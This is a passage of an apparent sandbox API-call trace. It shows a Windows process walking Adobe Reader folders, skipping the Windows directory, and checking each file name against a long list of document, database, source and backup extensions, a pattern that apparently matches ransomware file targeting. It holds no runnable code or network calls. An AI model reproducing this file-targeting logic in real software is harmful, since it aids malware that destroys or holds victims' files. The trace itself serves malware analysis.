(lpString=".dotx") returned 5 [0272.355] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.355] lstrlenW (lpString=".dpx") returned 4 [0272.355] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.355] lstrlenW (lpString=".dqy") returned 4 [0272.356] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".dsn") returned 4 [0272.356] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".dt") returned 3 [0272.356] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.356] lstrlenW (lpString=".dtd") returned 4 [0272.356] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".dwg") returned 4 [0272.356] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".dwt") returned 4 [0272.356] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".dx") returned 3 [0272.356] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.356] lstrlenW (lpString=".dxf") returned 4 [0272.356] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".edml") returned 5 [0272.356] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.356] lstrlenW (lpString=".efd") returned 4 [0272.356] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".elf") returned 4 [0272.356] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".emf") returned 4 [0272.356] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".emz") returned 4 [0272.356] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".epf") returned 4 [0272.356] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".eps") returned 4 [0272.356] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.356] lstrlenW (lpString=".epsf") returned 5 [0272.356] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.357] lstrlenW (lpString=".epsp") returned 5 [0272.357] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.357] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.357] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0272.357] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.357] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0272.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.357] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0272.359] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.359] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.359] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.359] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0272.359] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.359] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0272.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.359] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0272.360] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.361] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.361] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.361] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0272.361] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.361] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0272.361] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si") returned 119 [0272.361] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si") returned 1 [0272.361] lstrlenW (lpString="sl-si") returned 5 [0272.361] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sl-si") returned -1 [0272.361] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0272.361] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si") returned 119 [0272.361] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0272.362] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.362] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.362] lstrlenW (lpString="ui-strings.js") returned 13 [0272.362] lstrlenW (lpString=".1cd") returned 4 [0272.362] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.362] lstrlenW (lpString=".3ds") returned 4 [0272.362] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.362] lstrlenW (lpString=".3fr") returned 4 [0272.362] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.362] lstrlenW (lpString=".3g2") returned 4 [0272.362] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.362] lstrlenW (lpString=".3gp") returned 4 [0272.362] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.362] lstrlenW (lpString=".7z") returned 3 [0272.362] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.363] lstrlenW (lpString=".accda") returned 6 [0272.363] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.363] lstrlenW (lpString=".accdb") returned 6 [0272.363] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.363] lstrlenW (lpString=".accdc") returned 6 [0272.363] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.363] lstrlenW (lpString=".accde") returned 6 [0272.363] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.363] lstrlenW (lpString=".accdt") returned 6 [0272.363] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.363] lstrlenW (lpString=".accdw") returned 6 [0272.363] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.363] lstrlenW (lpString=".adb") returned 4 [0272.363] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.363] lstrlenW (lpString=".adp") returned 4 [0272.363] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.363] lstrlenW (lpString=".ai") returned 3 [0272.363] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.363] lstrlenW (lpString=".ai3") returned 4 [0272.363] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.363] lstrlenW (lpString=".ai4") returned 4 [0272.363] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.363] lstrlenW (lpString=".ai5") returned 4 [0272.363] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.363] lstrlenW (lpString=".ai6") returned 4 [0272.363] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".ai7") returned 4 [0272.364] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".ai8") returned 4 [0272.364] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".anim") returned 5 [0272.364] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.364] lstrlenW (lpString=".arw") returned 4 [0272.364] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".as") returned 3 [0272.364] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.364] lstrlenW (lpString=".asa") returned 4 [0272.364] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".asc") returned 4 [0272.364] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".ascx") returned 5 [0272.364] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.364] lstrlenW (lpString=".asm") returned 4 [0272.364] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".asmx") returned 5 [0272.364] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.364] lstrlenW (lpString=".asp") returned 4 [0272.364] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".aspx") returned 5 [0272.364] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.364] lstrlenW (lpString=".asr") returned 4 [0272.364] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.364] lstrlenW (lpString=".asx") returned 4 [0272.365] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".avi") returned 4 [0272.365] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".avs") returned 4 [0272.365] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".backup") returned 7 [0272.365] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.365] lstrlenW (lpString=".bak") returned 4 [0272.365] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".bay") returned 4 [0272.365] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".bd") returned 3 [0272.365] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.365] lstrlenW (lpString=".bin") returned 4 [0272.365] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".bmp") returned 4 [0272.365] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".bz2") returned 4 [0272.365] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".c") returned 2 [0272.365] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.365] lstrlenW (lpString=".cdr") returned 4 [0272.365] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".cer") returned 4 [0272.365] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.365] lstrlenW (lpString=".cf") returned 3 [0272.365] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.366] lstrlenW (lpString=".cfc") returned 4 [0272.366] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.366] lstrlenW (lpString=".cfm") returned 4 [0272.366] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.366] lstrlenW (lpString=".cfml") returned 5 [0272.366] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.366] lstrlenW (lpString=".cfu") returned 4 [0272.366] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.366] lstrlenW (lpString=".chm") returned 4 [0272.366] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.366] lstrlenW (lpString=".cin") returned 4 [0272.366] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".class") returned 6 [0272.367] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.367] lstrlenW (lpString=".clx") returned 4 [0272.367] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".config") returned 7 [0272.367] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.367] lstrlenW (lpString=".cpp") returned 4 [0272.367] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".cr2") returned 4 [0272.367] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".crt") returned 4 [0272.367] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".crw") returned 4 [0272.367] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".cs") returned 3 [0272.367] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.367] lstrlenW (lpString=".css") returned 4 [0272.367] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".csv") returned 4 [0272.367] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".cub") returned 4 [0272.367] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".dae") returned 4 [0272.367] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".dat") returned 4 [0272.367] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.367] lstrlenW (lpString=".db") returned 3 [0272.368] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.368] lstrlenW (lpString=".dbf") returned 4 [0272.368] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dbx") returned 4 [0272.368] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dc3") returned 4 [0272.368] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dcm") returned 4 [0272.368] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dcr") returned 4 [0272.368] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".der") returned 4 [0272.368] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dib") returned 4 [0272.368] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dic") returned 4 [0272.368] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".dif") returned 4 [0272.368] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.368] lstrlenW (lpString=".divx") returned 5 [0272.368] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.368] lstrlenW (lpString=".djvu") returned 5 [0272.368] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.368] lstrlenW (lpString=".dng") returned 4 [0272.368] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".doc") returned 4 [0272.369] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".docm") returned 5 [0272.369] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.369] lstrlenW (lpString=".docx") returned 5 [0272.369] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.369] lstrlenW (lpString=".dot") returned 4 [0272.369] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".dotm") returned 5 [0272.369] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.369] lstrlenW (lpString=".dotx") returned 5 [0272.369] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.369] lstrlenW (lpString=".dpx") returned 4 [0272.369] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".dqy") returned 4 [0272.369] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".dsn") returned 4 [0272.369] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".dt") returned 3 [0272.369] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.369] lstrlenW (lpString=".dtd") returned 4 [0272.369] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".dwg") returned 4 [0272.369] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.369] lstrlenW (lpString=".dwt") returned 4 [0272.370] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".dx") returned 3 [0272.370] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.370] lstrlenW (lpString=".dxf") returned 4 [0272.370] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".edml") returned 5 [0272.370] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.370] lstrlenW (lpString=".efd") returned 4 [0272.370] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".elf") returned 4 [0272.370] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".emf") returned 4 [0272.370] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".emz") returned 4 [0272.370] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".epf") returned 4 [0272.370] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".eps") returned 4 [0272.370] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.370] lstrlenW (lpString=".epsf") returned 5 [0272.370] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.370] lstrlenW (lpString=".epsp") returned 5 [0272.370] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.370] lstrlenW (lpString=".erf") returned 4 [0272.370] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".exr") returned 4 [0272.371] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".f4v") returned 4 [0272.371] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".fido") returned 5 [0272.371] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.371] lstrlenW (lpString=".flm") returned 4 [0272.371] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".flv") returned 4 [0272.371] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".frm") returned 4 [0272.371] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".fxg") returned 4 [0272.371] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".geo") returned 4 [0272.371] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".gif") returned 4 [0272.371] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".grs") returned 4 [0272.371] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.371] lstrlenW (lpString=".gz") returned 3 [0272.371] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.371] lstrlenW (lpString=".h") returned 2 [0272.371] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.371] lstrlenW (lpString=".hdr") returned 4 [0272.371] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".hpp") returned 4 [0272.372] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".hta") returned 4 [0272.372] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".htc") returned 4 [0272.372] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".htm") returned 4 [0272.372] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.372] lstrlenW (lpString=".html") returned 5 [0272.372] lstrcmpiW (lpString1=".html", lpString2="gs.js") 